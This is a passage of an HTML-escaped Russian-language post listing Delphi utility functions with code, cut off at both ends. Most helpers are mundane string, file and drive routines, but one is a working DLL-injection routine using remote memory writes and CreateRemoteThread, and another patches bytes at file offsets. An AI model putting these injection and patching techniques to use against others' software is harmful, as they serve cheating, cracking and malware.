/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BL:=(Length(T&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;F:=(FileOpen(FN, $0002&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;repeat &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c:=(ord(char(pchar(T&amp;#91;i]&amp;#41;&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetFilePointer(F, B&amp;#91;i], nil, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WriteFile(F, c, (SizeOf(c&amp;#41;&amp;#41;, BytesRead, nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i:=i+1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;until (i&gt;=(bl&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileClose(F&amp;#41;; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; Пример: Patch_Byte(&apos;Имя файла&apos;, Массив из адресов для патча, Массив из значений); &lt;br /&gt;&lt;br /&gt; 10. InjectDLL(DllPath: string; ProcID: Cardinal): boolean; &lt;br /&gt;&lt;br /&gt; Функция для ижекта dll библиотек в процесс. &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function InjectDLL(DllPath: string; ProcID: Cardinal&amp;#41;: boolean; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;L, R: Pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;P, LN, TID, TH: Cardinal; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=False; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;P:=OpenProcess(($000F0000 or $00100000 or $FFF&amp;#41;, False, ProcID&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if P&lt;&gt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;L:=GetProcAddress(GetModuleHandle(&apos;kernel32.dll&apos;&amp;#41;, (&apos;LoadLibraryA&apos;&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if L&lt;&gt;nil then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;R:=VirtualAllocEx(P, nil, (Length(DllPath&amp;#41;&amp;#41;, $1000, 4&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if R&lt;&gt;nil then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if WriteProcessMemory(P, R, (@DllPath&amp;#91;1]&amp;#41;, (Length(DllPath&amp;#41;&amp;#41;, LN&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TH:=CreateRemoteThread(P, nil, 0, L, R, 0, Tid&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if TH&gt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WaitForSingleObject(TH, (DWORD($FFFFFFFF&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;VirtualFreeEx(P, R, 0, $8000&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(P&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=True; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; 11. GetValFromWrd(W: string; var Wrd_B: array of string); &lt;br /&gt;&lt;br /&gt; Функция разделит слово по буквам и загрузит в массив. (Вроде. =) ) &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure GetValFromWrd(W: string; var Wrd_B: array of string&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i, lw: integer; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lw:=(Length(W&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for i:=0 to ((lw&amp;#41;-1&amp;#41; do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Wrd_B&amp;#91;i]:=(Copy(W, i+1, 1&amp;#41;&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; 12. UsbEx(const Dir: string): Boolean; &lt;br /&gt;&lt;br /&gt; Функция для проверки наличия диска или флешки. &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function Usbex(const Dir: string&amp;#41;: Boolean; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Code: Integer; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Code:=GetFileAttributes(PChar(Dir&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=(Code&lt;&gt;-1&amp;#41;and(FILE_ATTRIBUTE_DIRECTORY and Code&lt;&gt;0&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; 13. Несколько не API функций для работы со строками. &lt;br /&gt;&lt;br /&gt; ReadStr - Прочтет указанный номер сроки в файле. &lt;br /&gt; ChekStr - Покажет сколько строк в файле. &lt;br /&gt; LoadStr - Загрузит все строки из файла в массив. &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function ReadStr(tfile: string; num: integer&amp;#41;: string; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;t: textfile; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;a: array&amp;#91;0..32] of string; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i: integer; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AssignFile(t, tfile&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;reset(t&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for i:=0 to num do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;readln(t, a&amp;#91;num]&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result:=a&amp;#91;num]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;closefile(t&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; function ChekStr(path: string&amp;#41;: integer; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f: textfile; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i: integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;b: array&amp;#91;0..0] of string; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result:=(i&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AssignFile(f, path&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reset(f&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while not SeekEof(f&amp;#41; do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ReadLn(f, b&amp;#91;0]&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;inc(i&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result:=(i&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseFile(f&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure LoadStr(tf: string; var txb: array of string&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;t: textfile; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i, i2: integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tx: array of string; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i2:=ChekStr(tf&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Setlength(tx, (i2+1&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AssignFile(t, tf&amp;#41;; 